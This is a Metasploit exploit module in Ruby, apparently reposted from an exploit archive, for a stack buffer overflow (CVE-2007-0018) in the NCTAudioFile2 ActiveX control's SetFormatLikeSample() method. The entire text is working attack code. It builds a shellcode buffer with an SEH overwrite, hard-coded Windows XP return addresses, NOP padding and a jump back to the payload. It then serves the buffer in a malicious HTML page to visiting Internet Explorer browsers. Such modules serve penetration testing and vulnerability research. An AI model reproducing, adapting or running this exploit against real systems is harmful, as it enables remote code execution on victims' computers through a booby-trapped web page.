NCTAudioFile2 2.x – ActiveX Control ‘SetFormatLikeSample()’ Remote Buffer Overflow (Metasploit)
## # $Id: nctaudiofile2_setformatlikesample.rb 9668 2010-07-03 01:38:15Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample() Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the NCTAudioFile2.Audio ActiveX Control provided by various audio applications. By sending a overly long string to the "SetFormatLikeSample()" method, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC', 'dookie', 'jduck' ], 'Version' => '$Revision: 9668 $', 'References' => [ [ 'CVE', '2007-0018' ], [ 'OSVDB', '32032' ], [ 'BID', '22196' ], [ 'US-CERT-VU', '292713' ], [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/062911.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2048, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Platform' => 'win', 'Targets' => [ # tested with: # # BearShare 6.0.2.26789 (NCTAudioFile2.dll v2.5.7.514) # BearShare 6.0.0.22717 (NCTAudioFile2.dll v2.5.7.514) # Magic Audio Editor Pro v10.3.11 (NCTAudioFile2.dll v2.6.1.643) # Magic Audio Editor Pro v10.3.15.1 (NCTAudioFile2.dll v2.6.1.643) # [ 'Windows XP SP2/SP3 Pro English (IE6)', { 'PopPopRet' => 0x746C15A9, # p/p/r in msls31.dll (ie6) 'jmp esp' => 0x774699bf, # user32.dll (xp sp2 and sp3) } ], ], 'DisclosureDate' => 'Jan 24 2007', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # dual targeting super fun.. sploit = p.encoded sploit << rand_text_alpha(4100 - p.encoded.length) # if seh is triggered, we'll use a pop/pop/ret seh = generate_seh_record(target['PopPopRet']) sploit << seh # padding sploit << make_nops(16 - seh.length) # otherwise, we need to jump to the stack sploit << [target['jmp esp']].pack('V') sploit << make_nops(32) # jump back to the payload :) sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x1000").encode_string # try to ensure SEH is triggered.. sploit << rand_text_alpha(1000) * 18 # Build out the message content = %Q| <html> <body> <object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='#{vname}'></object> <script language='javascript'> var #{vname} = document.getElementById('#{vname}'); var #{strname} = new String('#{sploit}'); #{vname}.SetFormatLikeSample(#{strname}); </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |